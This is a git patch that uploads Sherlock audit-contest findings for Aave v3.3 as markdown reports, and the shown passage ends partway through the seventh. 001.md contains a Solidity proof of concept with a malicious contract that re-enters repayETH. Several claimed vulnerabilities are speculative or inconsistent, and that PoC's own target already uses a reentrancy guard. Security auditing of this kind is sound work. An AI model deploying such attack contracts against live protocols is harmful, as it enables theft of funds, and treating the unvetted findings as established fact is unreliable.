From 04b95d15c008f964e734be900af66b9806a929d2 Mon Sep 17 00:00:00 2001 From: sherlock-admin4 <162441180+sherlock-admin4@users.noreply.github.com> Date: Wed, 22 Jan 2025 16:21:26 +0100 Subject: [PATCH] Uploaded files for judging --- .gitignore | 10 -- 001.md | 148 ++++++++++++++++++++ 002.md | 32 +++++ 003.md | 97 +++++++++++++ 004.md | 48 +++++++ 005.md | 80 +++++++++++ 006.md | 130 ++++++++++++++++++ 007.md | 96 +++++++++++++ 009.md | 53 ++++++++ 010.md | 57 ++++++++ 011.md | 66 +++++++++ 012.md | 52 +++++++ 013.md | 57 ++++++++ 014.md | 59 ++++++++ 015.md | 29 ++++ 016.md | 98 +++++++++++++ 017.md | 181 ++++++++++++++++++++++++ 018.md | 43 ++++++ 019.md | 43 ++++++ 020.md | 62 +++++++++ 021.md | 55 ++++++++ 022.md | 140 +++++++++++++++++++ 023.md | 59 ++++++++ 024.md | 39 ++++++ 025.md | 57 ++++++++ 026.md | 51 +++++++ 027.md | 55 ++++++++ 028.md | 61 +++++++++ 029.md | 84 ++++++++++++ 030.md | 54 ++++++++ 031.md | 126 +++++++++++++++++ 032.md | 35 +++++ 033.md | 99 ++++++++++++++ 034.md | 106 +++++++++++++++ 036.md | 39 ++++++ 037.md | 50 +++++++ 038.md | 42 ++++++ 039.md | 96 +++++++++++++ 040.md | 149 ++++++++++++++++++++ 041.md | 30 ++++ 042.md | 61 +++++++++ 043.md | 41 ++++++ 044.md | 42 ++++++ 045.md | 43 ++++++ 046.md | 45 ++++++ 047.md | 68 +++++++++ 048.md | 44 ++++++ 049.md | 60 ++++++++ 050.md | 43 ++++++ 051.md | 80 +++++++++++ 052.md | 59 ++++++++ 053.md | 103 ++++++++++++++ 054.md | 41 ++++++ 055.md | 47 +++++++ 056.md | 39 ++++++ 057.md | 116 ++++++++++++++++ 058.md | 78 +++++++++++ 059.md | 82 +++++++++++ 060.md | 134 ++++++++++++++++++ 061.md | 147 ++++++++++++++++++++ 062.md | 145 ++++++++++++++++++++ 063.md | 101 ++++++++++++++ 064.md | 122 +++++++++++++++++ 065.md | 82 +++++++++++ 066.md | 106 +++++++++++++++ 068.md | 58 ++++++++ 069.md | 70 ++++++++++ 070.md | 83 +++++++++++ 071.md | 97 +++++++++++++ 072.md | 114 ++++++++++++++++ 073.md | 160 ++++++++++++++++++++++ 076.md | 89 ++++++++++++ 077.md | 73 ++++++++++ 078.md | 96 +++++++++++++ 079.md | 78 +++++++++++ 080.md | 50 +++++++ 081.md | 45 ++++++ 082.md | 62 +++++++++ 083.md | 41 ++++++ 084.md | 87 ++++++++++++ 085.md | 40 ++++++ 086.md | 51 +++++++ 087.md | 49 +++++++ 088.md | 58 ++++++++ 089.md | 65 +++++++++ 090.md | 80 +++++++++++ 091.md | 54 ++++++++ 092.md | 98 +++++++++++++ 093.md | 126 +++++++++++++++++ 094.md | 135 ++++++++++++++++++ 095.md | 76 +++++++++++ 096.md | 51 +++++++ 097.md | 92 +++++++++++++ 098.md | 97 +++++++++++++ 099.md | 97 +++++++++++++ 100.md | 71 ++++++++++ 101.md | 64 +++++++++ 102.md | 95 +++++++++++++ 103.md | 60 ++++++++ 104.md | 90 ++++++++++++ 105.md | 65 +++++++++ 106.md | 100 ++++++++++++++ 107.md | 90 ++++++++++++ 108.md | 128 +++++++++++++++++ 109.md | 79 +++++++++++ 110.md | 54 ++++++++ 111.md | 47 +++++++ 112.md | 86 ++++++++++++ 113.md | 74 ++++++++++ 114.md | 157 +++++++++++++++++++++ 115.md | 138 +++++++++++++++++++ 116.md | 198 +++++++++++++++++++++++++++ 117.md | 54 ++++++++ 118.md | 61 +++++++++ 119.md | 140 +++++++++++++++++++ 120.md | 103 ++++++++++++++ 121.md | 97 +++++++++++++ 122.md | 79 +++++++++++ 123.md | 69 ++++++++++ 124.md | 82 +++++++++++ 125.md | 57 ++++++++ 126.md | 72 ++++++++++ 127.md | 90 ++++++++++++ 128.md | 109 +++++++++++++++ 129.md | 76 +++++++++++ 130.md | 76 +++++++++++ 131.md | 101 ++++++++++++++ 132.md | 97 +++++++++++++ 133.md | 173 +++++++++++++++++++++++ 134.md | 348 +++++++++++++++++++++++++++++++++++++++++++++++ 135.md | 328 ++++++++++++++++++++++++++++++++++++++++++++ 136.md | 92 +++++++++++++ 137.md | 70 ++++++++++ 138.md | 243 +++++++++++++++++++++++++++++++++ 139.md | 47 +++++++ 140.md | 95 +++++++++++++ 141.md | 58 ++++++++ 142.md | 59 ++++++++ 143.md | 66 +++++++++ 144.md | 50 +++++++ 145.md | 67 +++++++++ 146.md | 88 ++++++++++++ 147.md | 106 +++++++++++++++ 148.md | 82 +++++++++++ 149.md | 102 ++++++++++++++ 150.md | 136 ++++++++++++++++++ 151.md | 63 +++++++++ 152.md | 267 ++++++++++++++++++++++++++++++++++++ 153.md | 208 ++++++++++++++++++++++++++++ 154.md | 213 +++++++++++++++++++++++++++++ 155.md | 114 ++++++++++++++++ 156.md | 72 ++++++++++ 157.md | 47 +++++++ 158.md | 78 +++++++++++ 159.md | 78 +++++++++++ 160.md | 73 ++++++++++ 161.md | 121 ++++++++++++++++ 162.md | 107 +++++++++++++++ 163.md | 107 +++++++++++++++ 164.md | 109 +++++++++++++++ 165.md | 49 +++++++ 166.md | 69 ++++++++++ 167.md | 89 ++++++++++++ 168.md | 39 ++++++ 169.md | 92 +++++++++++++ 170.md | 77 +++++++++++ 171.md | 88 ++++++++++++ 172.md | 60 ++++++++ 173.md | 53 ++++++++ 174.md | 84 ++++++++++++ 175.md | 82 +++++++++++ 176.md | 73 ++++++++++ 177.md | 100 ++++++++++++++ 178.md | 133 ++++++++++++++++++ 179.md | 108 +++++++++++++++ 180.md | 144 ++++++++++++++++++++ 181.md | 96 +++++++++++++ 182.md | 68 +++++++++ 183.md | 188 +++++++++++++++++++++++++ 184.md | 76 +++++++++++ 185.md | 87 ++++++++++++ 186.md | 95 +++++++++++++ 187.md | 86 ++++++++++++ 188.md | 80 +++++++++++ 189.md | 86 ++++++++++++ 190.md | 263 +++++++++++++++++++++++++++++++++++ 191.md | 105 ++++++++++++++ 192.md | 60 ++++++++ 193.md | 93 +++++++++++++ 194.md | 76 +++++++++++ 195.md | 144 ++++++++++++++++++++ 196.md | 98 +++++++++++++ 197.md | 83 +++++++++++ 199.md | 51 +++++++ 200.md | 83 +++++++++++ 201.md | 87 ++++++++++++ 202.md | 239 ++++++++++++++++++++++++++++++++ 203.md | 124 +++++++++++++++++ 204.md | 76 +++++++++++ 205.md | 107 +++++++++++++++ 206.md | 91 +++++++++++++ 207.md | 99 ++++++++++++++ invalid/.gitkeep | 0 invalid/008.md | 87 ++++++++++++ invalid/035.md | 148 ++++++++++++++++++++ invalid/067.md | 75 ++++++++++ invalid/074.md | 6 + invalid/075.md | 6 + invalid/198.md | 59 ++++++++ 209 files changed, 18447 insertions(+), 10 deletions(-) delete mode 100644 .gitignore create mode 100644 001.md create mode 100644 002.md create mode 100644 003.md create mode 100644 004.md create mode 100644 005.md create mode 100644 006.md create mode 100644 007.md create mode 100644 009.md create mode 100644 010.md create mode 100644 011.md create mode 100644 012.md create mode 100644 013.md create mode 100644 014.md create mode 100644 015.md create mode 100644 016.md create mode 100644 017.md create mode 100644 018.md create mode 100644 019.md create mode 100644 020.md create mode 100644 021.md create mode 100644 022.md create mode 100644 023.md create mode 100644 024.md create mode 100644 025.md create mode 100644 026.md create mode 100644 027.md create mode 100644 028.md create mode 100644 029.md create mode 100644 030.md create mode 100644 031.md create mode 100644 032.md create mode 100644 033.md create mode 100644 034.md create mode 100644 036.md create mode 100644 037.md create mode 100644 038.md create mode 100644 039.md create mode 100644 040.md create mode 100644 041.md create mode 100644 042.md create mode 100644 043.md create mode 100644 044.md create mode 100644 045.md create mode 100644 046.md create mode 100644 047.md create mode 100644 048.md create mode 100644 049.md create mode 100644 050.md create mode 100644 051.md create mode 100644 052.md create mode 100644 053.md create mode 100644 054.md create mode 100644 055.md create mode 100644 056.md create mode 100644 057.md create mode 100644 058.md create mode 100644 059.md create mode 100644 060.md create mode 100644 061.md create mode 100644 062.md create mode 100644 063.md create mode 100644 064.md create mode 100644 065.md create mode 100644 066.md create mode 100644 068.md create mode 100644 069.md create mode 100644 070.md create mode 100644 071.md create mode 100644 072.md create mode 100644 073.md create mode 100644 076.md create mode 100644 077.md create mode 100644 078.md create mode 100644 079.md create mode 100644 080.md create mode 100644 081.md create mode 100644 082.md create mode 100644 083.md create mode 100644 084.md create mode 100644 085.md create mode 100644 086.md create mode 100644 087.md create mode 100644 088.md create mode 100644 089.md create mode 100644 090.md create mode 100644 091.md create mode 100644 092.md create mode 100644 093.md create mode 100644 094.md create mode 100644 095.md create mode 100644 096.md create mode 100644 097.md create mode 100644 098.md create mode 100644 099.md create mode 100644 100.md create mode 100644 101.md create mode 100644 102.md create mode 100644 103.md create mode 100644 104.md create mode 100644 105.md create mode 100644 106.md create mode 100644 107.md create mode 100644 108.md create mode 100644 109.md create mode 100644 110.md create mode 100644 111.md create mode 100644 112.md create mode 100644 113.md create mode 100644 114.md create mode 100644 115.md create mode 100644 116.md create mode 100644 117.md create mode 100644 118.md create mode 100644 119.md create mode 100644 120.md create mode 100644 121.md create mode 100644 122.md create mode 100644 123.md create mode 100644 124.md create mode 100644 125.md create mode 100644 126.md create mode 100644 127.md create mode 100644 128.md create mode 100644 129.md create mode 100644 130.md create mode 100644 131.md create mode 100644 132.md create mode 100644 133.md create mode 100644 134.md create mode 100644 135.md create mode 100644 136.md create mode 100644 137.md create mode 100644 138.md create mode 100644 139.md create mode 100644 140.md create mode 100644 141.md create mode 100644 142.md create mode 100644 143.md create mode 100644 144.md create mode 100644 145.md create mode 100644 146.md create mode 100644 147.md create mode 100644 148.md create mode 100644 149.md create mode 100644 150.md create mode 100644 151.md create mode 100644 152.md create mode 100644 153.md create mode 100644 154.md create mode 100644 155.md create mode 100644 156.md create mode 100644 157.md create mode 100644 158.md create mode 100644 159.md create mode 100644 160.md create mode 100644 161.md create mode 100644 162.md create mode 100644 163.md create mode 100644 164.md create mode 100644 165.md create mode 100644 166.md create mode 100644 167.md create mode 100644 168.md create mode 100644 169.md create mode 100644 170.md create mode 100644 171.md create mode 100644 172.md create mode 100644 173.md create mode 100644 174.md create mode 100644 175.md create mode 100644 176.md create mode 100644 177.md create mode 100644 178.md create mode 100644 179.md create mode 100644 180.md create mode 100644 181.md create mode 100644 182.md create mode 100644 183.md create mode 100644 184.md create mode 100644 185.md create mode 100644 186.md create mode 100644 187.md create mode 100644 188.md create mode 100644 189.md create mode 100644 190.md create mode 100644 191.md create mode 100644 192.md create mode 100644 193.md create mode 100644 194.md create mode 100644 195.md create mode 100644 196.md create mode 100644 197.md create mode 100644 199.md create mode 100644 200.md create mode 100644 201.md create mode 100644 202.md create mode 100644 203.md create mode 100644 204.md create mode 100644 205.md create mode 100644 206.md create mode 100644 207.md create mode 100644 invalid/.gitkeep create mode 100644 invalid/008.md create mode 100644 invalid/035.md create mode 100644 invalid/067.md create mode 100644 invalid/074.md create mode 100644 invalid/075.md create mode 100644 invalid/198.md diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 3fbffbb..0000000 --- a/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -* -!*/ -!/.data -!/.github -!/.gitignore -!/README.md -!/comments.csv -!*.md -!**/*.md -!/Audit_Report.pdf diff --git a/001.md b/001.md new file mode 100644 index 0000000..7d6354d --- /dev/null +++ b/001.md @@ -0,0 +1,148 @@ +Shaggy Bone Hyena + +Medium + +# Reentrancy Vulnerability in repayETH Function Allows Repeated Repayments + +### Summary + +A reentrancy vulnerability in the repayETH function will lead to the protocol contract losing funds, as a malicious contract can repeatedly repay debt, due to the lack of reentrancy protection and state updates before external calls. + +### Root Cause + +In repayETH function within the contract, the lack of a reentrancy lock combined with the external call to POOL.repay() before updating internal state allows for recursive calls and therefore multiple repayments to be triggered during the same transaction. + +### Internal Pre-conditions + +1.A malicious contract needs to be deployed with the capability to call repayETH. +2.The attacker needs to borrow some WETH from the pool +3.The repayETH function has to receive a msg.value sufficient to cover the repayment amount. + +### External Pre-conditions + +There are no specific external protocol changes needed to exploit this vulnerability, it is internal to the contracts code itself. + +### Attack Path + +1.A malicious contract borrows WETH from the pool +2.The malicious contract calls repayETH, setting its own address as onBehalfOf and sending an appropriate msg.value. +3.The WETH.deposit call converts the sent ETH into WETH. +4.The POOL.repay() call triggers a callback to the malicious contract as its the address of onBehalfOf. +5.The malicious contract's callback re-enters repayETH, causing the repayment process to repeat before the initial call is complete. + +### Impact + +The protocol will suffer a loss of funds as the attacker repeatedly repays the debt and drains the funds within the pool. + + + +### PoC + +// SPDX-License-Identifier: GPL-3.0 +pragma solidity >=0.8.0; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +interface WETH { + function deposit() external payable; + function withdraw(uint256) external; +} +interface POOL { + function repay(address asset, uint256 amount, uint256 rateMode, address onBehalfOf) external; + function getReserveVariableDebtToken(address asset) external returns(address); +} +interface DataTypes { + enum InterestRateMode { + NONE, + STABLE, + VARIABLE + } +} + +contract RepayContract is ReentrancyGuard { + address public POOL; + address public WETH; + + constructor(address _pool, address _weth){ + POOL = _pool; + WETH = _weth; + } + + function repayETH(address asset, uint256 amount, address onBehalfOf) external payable override nonReentrant{ + uint256 paybackAmount = IERC20(POOL.getReserveVariableDebtToken(address(WETH))).balanceOf( + onBehalfOf + ); + + if (amount < paybackAmount) { + paybackAmount = amount; + } + require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); + WETH(WETH).deposit{value: paybackAmount}(); + POOL(POOL).repay( + address(WETH), + paybackAmount, + uint256(DataTypes.InterestRateMode.VARIABLE), + onBehalfOf + ); + + // refund remaining dust eth + if (msg.value > paybackAmount) payable(msg.sender).transfer(msg.value - paybackAmount); + } +} + +contract MaliciousContract { + RepayContract public repayContract; + WETH public WETH; + POOL public POOL; + + constructor(address _repayContract, address _weth, address _pool){ + repayContract = RepayContract(_repayContract); + WETH = WETH(_weth); + POOL = POOL(_pool); + } + + function attack(uint256 _amount) external payable { + // First borrow some WETH + + // Second call repay, this triggers the reentrancy + repayContract.repayETH{value: _amount}(address(WETH), _amount, address(this)); + } + + receive() external payable { + //reenter + repayContract.repayETH{value: msg.value}(address(WETH), msg.value, address(this)); + } +} + +contract ExploitTest is Test { + + RepayContract repayContract; + MaliciousContract maliciousContract; + address public WETH = address(0x123); //Mock WETH; + address public POOL = address(0x321); //Mock pool; + + function setUp() public { + repayContract = new RepayContract(POOL,WETH); + maliciousContract = new MaliciousContract(address(repayContract), WETH, POOL); + } + + function testReentrancyAttack() public { + //set up mock to have a 100 WETH balance + + //attacker has 100 eth + vm.deal(address(maliciousContract), 100 ether); + + //Attack + maliciousContract.attack{value: 1 ether}(1 ether); + } + } +### Code Snippet +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L85 + +### Tool used +Manual Review + +### Mitigation +Implement a reentrancy lock using OpenZeppelin's ReentrancyGuard to prevent re-entrant calls. \ No newline at end of file diff --git a/002.md b/002.md new file mode 100644 index 0000000..98cfa46 --- /dev/null +++ b/002.md @@ -0,0 +1,32 @@ +Elegant Steel Tarantula + +Medium + +# Deficit accounting can be prevented by supplying 1 wei of a different collateral + +### Summary + +Deficit accounting can be prevented by supplying 1 wei of a different collateral + +### Root Cause + +Deficit accounting only occurs when `hasNoCollateralLeft` is true, but the liquidation only takes the collateral of one reserve. There is no incentive to carry out the 2nd liquidation on the 1 wei of other collateral. + +### Internal Pre-conditions + +A position reaches a state of bad debt + +### External Pre-conditions + +_No response_ + +### Attack Path +1. Position reaches state of bad debt +2. Before the bad debt liquidation, the borrower supplies 1 wei of a different collateral to what is being liquidated +3. Liquidation occurs, deficit accounting does not occur since `hasNoCollateralLeft` is false +4. It is not economical to liquidate the dust of 1 wei, so the bad debt will remain, and the deficit will not be accounted, so `executeEliminateDeficit()` will not account for this bad debt + +### Impact +Deficit accounting is prevented, and the outstanding debt remains. + +### Mitigation diff --git a/003.md b/003.md new file mode 100644 index 0000000..6d4bb1d --- /dev/null +++ b/003.md @@ -0,0 +1,97 @@ +Tall Grape Wombat + +Medium + +# Missing Zero-Balance Check in `withdrawETH` Function May Lead to Gas Wastage and Poor User Experience + +### Summary + +The `withdrawETH` function in the contract lacks a check for whether the user has a zero balance before proceeding with the withdrawal logic. This oversight can lead to wasted gas and a confusing user experience. Additionally, it may expose the protocol to minor abuse scenarios, such as repeated zero-value transactions or event spamming. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55 + +```solidity +function withdrawETH(address, uint256 amount, address to) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + // if amount is equal to uint(-1), the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + + aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); + POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + WETH.withdraw(amountToWithdraw); + _safeTransferETH(to, amountToWithdraw); +} +``` +The function does not explicitly check if the user’s balance is zero before executing subsequent steps. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + + - The `aWETH.transferFrom` function will likely revert if the user attempts to transfer tokens they do not own. However, this happens after other potentially gas-costly operations have already executed, unnecessarily consuming gas. + + - Users with zero balance receive no meaningful error message until a later stage, leading to poor user experience. + + - Repeated calls with zero balance could lead to minor denial-of-service or spamming scenarios. + +### PoC + +_No response_ + +### Mitigation + +Add a check for zero balance at the start of the function to prevent further execution when the user has no funds to withdraw. + +#### **Updated Code:** +```solidity +function withdrawETH(address, uint256 amount, address to) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + + // Ensure the user has a non-zero balance + require(userBalance > 0, "Withdraw failed: zero balance"); + + uint256 amountToWithdraw = amount; + + // If the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + + aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); + POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + WETH.withdraw(amountToWithdraw); + _safeTransferETH(to, amountToWithdraw); +} +``` + +#### **Benefits of the Fix:** + +1. **Gas Optimization:** + + - The function exits early when the balance is zero, avoiding unnecessary operations. + +2. **Improved User Experience:** + + - Users receive a clear and immediate error message (“Withdraw failed: zero balance”) when they have no funds to withdraw. + +3. **Security Hardening:** + + - Prevents spamming or minor abuse scenarios. \ No newline at end of file diff --git a/004.md b/004.md new file mode 100644 index 0000000..e7e3cc3 --- /dev/null +++ b/004.md @@ -0,0 +1,48 @@ +Odd Licorice Lobster + +Medium + +# `withdrawETH` function always reverts on `Arbitrum` + +### Summary + +[withdrawETH](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55C12-L55C23) function Converts `aWETH` tokens back into `ETH`and transfers it to the specified recipient. + +### Root Cause + +The token transfer is done using the `transferFrom` method. This works fine on most chains (Ethereum, Optimism, Polygon) which use the standard WETH9 contract that handles the case src == msg.sender: + +```solidity +if (src != msg.sender && allowance[src][msg.sender] != uint(- 1)) { + require(allowance[src][msg.sender] >= wad); + allowance[src][msg.sender] -= wad; + } +``` + +The problem is that the WETH implementation on Arbitrum uses a [different](https://arbiscan.io/address/0x8b194beae1d3e0788a1a35173978001acdfba668#code) contract and does not have this `src == msg.sender` handling. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +`withdrawETH` function will revert on `Arbitrum` + +### PoC + +_No response_ + +### Mitigation + +use `transfer` instead `transferFrom` \ No newline at end of file diff --git a/005.md b/005.md new file mode 100644 index 0000000..b313e25 --- /dev/null +++ b/005.md @@ -0,0 +1,80 @@ +Curved Inky Ram + +Medium + +# A user believes they have fully repaid their debt but still has residual debt due to interest accrual + +### Summary + +When a user repays their variable debt using aTokens and specifies the maximum amount (type(uint256).max), the code attempts to repay the full debt by using the user's entire aToken balance. However, due to the way interest accrues on the variable debt, there can be a residual debt remaining even after the repayment. This residual debt is not adequately handled in the code, leading to where the system assumes the debt has been fully repaid when it hasn't. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60C3-L142C1 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154C3-L229C6 + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60C3-L142C1 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154C3-L229C6 + +In the executeRepay function, when a user chooses to repay using aTokens (useATokens is true) and specifies the maximum amount (params.amount == type(uint256).max), the following code is executed: + +if (params.useATokens && params.amount == type(uint256).max) { + params.amount = IAToken(reserveCache.aTokenAddress).balanceOf(msg.sender); +} +Here, params.amount is set to the user's aToken balance. The code then determines the paybackAmount: + +uint256 paybackAmount = variableDebt; + +if (params.amount < paybackAmount) { + paybackAmount = params.amount; +} +This means the paybackAmount is the lesser of the user's variableDebt and their aToken balance. + +However, between the time the variableDebt is fetched and the burn operation occurs, interest continues to accrue on the variable debt. This interest accrual can cause the actual debt to be slightly higher than the variableDebt value read earlier. As a result, even after burning the maximum possible amount of debt tokens, a small residual debt remains. + +After the repayment, the code checks if the user's debt position should be considered closed: + +if (variableDebt - paybackAmount == 0) { + userConfig.setBorrowing(reserve.id, false); +} +Due to the residual debt, variableDebt - paybackAmount is not zero, so the user's borrowing flag remains true. However, since the user has repaid using all their aTokens, their aToken balance becomes zero. The code then checks if the user should continue using the reserve as collateral: + +bool isCollateral = userConfig.isUsingAsCollateral(reserve.id); +if (isCollateral && IAToken(reserveCache.aTokenAddress).scaledBalanceOf(msg.sender) == 0) { + userConfig.setUsingAsCollateral(reserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); +} +Since the user's aToken balance is zero, the system disables the reserve as collateral for the user. The net effect is that the user now has a small residual debt but no collateral supporting it, leaving their position undercollateralized and susceptible to liquidation. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users may believe they have fully repaid their debt but still have a residual amount due to interest accrual. + +The system automatically disables the reserve as collateral when the aToken balance reaches zero, even if residual debt remains. + + An undercollateralized position can lead to liquidation, resulting in losses for the user. + +### PoC + +_No response_ + +### Mitigation + +// Recalculate the variableDebt after burn +uint256 remainingDebt = IERC20(reserveCache.variableDebtTokenAddress).balanceOf(params.onBehalfOf); + +if (remainingDebt == 0) { + userConfig.setBorrowing(reserve.id, false); +} diff --git a/006.md b/006.md new file mode 100644 index 0000000..d03b80c --- /dev/null +++ b/006.md @@ -0,0 +1,130 @@ +Curved Inky Ram + +Medium + +# Incorrect Total Supply Calculation + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L121C3-L155C2 + +The executeBackUnbacked function adds the treasury’s accrued tokens (interest earned by the protocol itself) to the total aToken supply. +reserve.accruedToTreasury represents the amount of interest accrued to the protocol but not yet claimed or converted into actual aTokens. This amount is being scaled by the liquidity index before being added to the total supply. The treasury's accrued interest is not part of the users' aToken holdings. Including it inflates the total supply, which dilutes the fee distribution to actual aToken holders. +The treasury's share should be accounted for separately and not impact the calculation for users. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L121C3-L155C2 + + uint256 feeToProtocol = fee.percentMul(protocolFeeBps); + uint256 feeToLP = fee - feeToProtocol; + uint256 added = backingAmount + fee; + + + reserveCache.nextLiquidityIndex = reserve.cumulateToLiquidityIndex( + IERC20(reserveCache.aTokenAddress).totalSupply() + + uint256(reserve.accruedToTreasury).rayMul(reserveCache.nextLiquidityIndex), + feeToLP + ); + +In the executeBackUnbacked function, the liquidity index is updated using the cumulateToLiquidityIndex function: + + +The parameters passed to cumulateToLiquidityIndex are: + +The total aToken supply, adjusted by adding the treasury's accrued tokens scaled by the liquidity index. +The fee allocated to LPs (feeToLP). +However, adding uint256(reserve.accruedToTreasury).rayMul(reserveCache.nextLiquidityIndex) to the total aToken supply is incorrect because the treasury's accrued tokens are not part of the circulating aToken supply. + +reserve.accruedToTreasury represents the amount of interest accrued to the protocol but not yet claimed or converted into actual aTokens. This amount is being scaled by the liquidity index before being added to the total supply. The treasury's accrued interest is not part of the users' aToken holdings. Including it inflates the total supply, which dilutes the fee distribution to actual aToken holders. The treasury's share should be accounted for separately and not impact the calculation for users. + +Including the treasury's accrued tokens in the total supply inflates the base used for liquidity index calculation, leading to a lower increase in the liquidity index than intended. The liquidity index does not accurately reflect the additional fees to be distributed to aToken holders. aToken holders receive less interest than they should because the liquidity index underrepresents the actual earnings. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +An inflated total supply means the feeToLP is divided among more tokens than actually exist in users' possession. +Each user gets a smaller share of the fee than they should. Users receive less interest than entitled. +Over time, this results in significant discrepancies in expected yields. + +### PoC + +`Assumptions:` +Users' aToken Total Supply: 1,000 aTokens. +Treasury Accrued Tokens (accruedToTreasury): 100 tokens (not yet converted to aTokens). +Current Liquidity Index (nextLiquidityIndex): 1.0 (simplified). +Fee to Liquidity Providers (feeToLP): 10 tokens. + +`Incorrect Calculation:` +Total Supply Used in Calculation: + +totalSupply = 1,000 (user aTokens) + (100 (accruedToTreasury) * 1.0 (liquidity index)) + = 1,100 aTokens + +`Increase in Liquidity Index:` +The liquidity index increase per aToken: +liquidityIndexIncrease = feeToLP / totalSupply + = 10 / 1,100 + ≈ 0.00909 + +`New Liquidity Index:` +nextLiquidityIndex = currentLiquidityIndex + liquidityIndexIncrease + = 1.0 + 0.00909 + = 1.00909 + +`Impact on Users:` +Each user holding 1 aToken sees an increase in value of 0.00909 tokens. + + + +`Correct Calculation (Excluding Treasury Tokens):` +Total Supply Should Be: +totalSupply = 1,000 aTokens (users' holdings only) + +`Correct Increase in Liquidity Index:` +liquidityIndexIncrease = feeToLP / totalSupply + = 10 / 1,000 + = 0.01 + +`Correct New Liquidity Index:` +nextLiquidityIndex = 1.0 + 0.01 + = 1.01 + +`Correct Impact on Users:` +Each user holding 1 aToken sees an increase in value of 0.01 tokens. + +`Difference in User Earnings:` +Incorrect Calculation Gain per aToken: ≈ 0.00909 tokens. +Correct Calculation Gain per aToken: 0.01 tokens. + +Shortfall per aToken: 0.01 - 0.00909 = 0.00091 tokens. + +`Total Shortfall Across All Users:` +totalShortfall = shortfall per aToken * total user aTokens + = 0.00091 * 1,000 + ≈ 0.91 tokens +Where Did the 0.91 Tokens Go? + +They are effectively unaccounted for due to the miscalculation. +Treasury does not gain them; users do not receive them. +This represents a loss in the system’s accounting. + +### Mitigation + +`Exclude Treasury Accrued Tokens from Total Supply` + +reserveCache.nextLiquidityIndex = reserve.cumulateToLiquidityIndex( + IERC20(reserveCache.aTokenAddress).totalSupply(), // Excluding accruedToTreasury + feeToLP +); diff --git a/007.md b/007.md new file mode 100644 index 0000000..3a33f13 --- /dev/null +++ b/007.md @@ -0,0 +1,96 @@ +Curved Inky Ram + +Medium + +# The validateSetUserEMode function does not check the user's supplied (collateral) assets against the new eMode category + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L551C3-L583C4 + +The validateSetUserEMode function is designed to validate whether a user can switch their Efficiency Mode (eMode) category. eMode allows users to optimize their borrowing power by grouping assets into categories with correlated risk profiles. When a user selects an eMode category, it's expected that both their borrowed assets and collateral assets align with that category to benefit from optimized parameters (like higher Loan-to-Value ratios). The function allows users to change eMode categories without ensuring their supplied collateral assets are compatible. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L551C3-L583C4 + + function validateSetUserEMode( + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.UserConfigurationMap memory userConfig, + uint256 reservesCount, + uint8 categoryId + ) internal view { + DataTypes.EModeCategory storage eModeCategory = eModeCategories[categoryId]; + // category is invalid if the liq threshold is not set + require( + categoryId == 0 || eModeCategory.liquidationThreshold != 0, + Errors.INCONSISTENT_EMODE_CATEGORY + ); + + + // eMode can always be enabled if the user hasn't supplied anything + if (userConfig.isEmpty()) { + return; + } + + + // if user is trying to set another category than default we require that + // either the user is not borrowing, or it's borrowing assets of categoryId + if (categoryId != 0) { + unchecked { + for (uint256 i = 0; i < reservesCount; i++) { + if (userConfig.isBorrowing(i)) { + require( + EModeConfiguration.isReserveEnabledOnBitmap(eModeCategory.borrowableBitmap, i), + Errors.NOT_BORROWABLE_IN_EMODE + ); + } + } + } + } + } + +First, the function checks if the categoryId provided is valid. +If categoryId is not zero (the default category), the function ensures that the eMode category has a non-zero liquidationThreshold. +If the user has neither supplied nor borrowed any 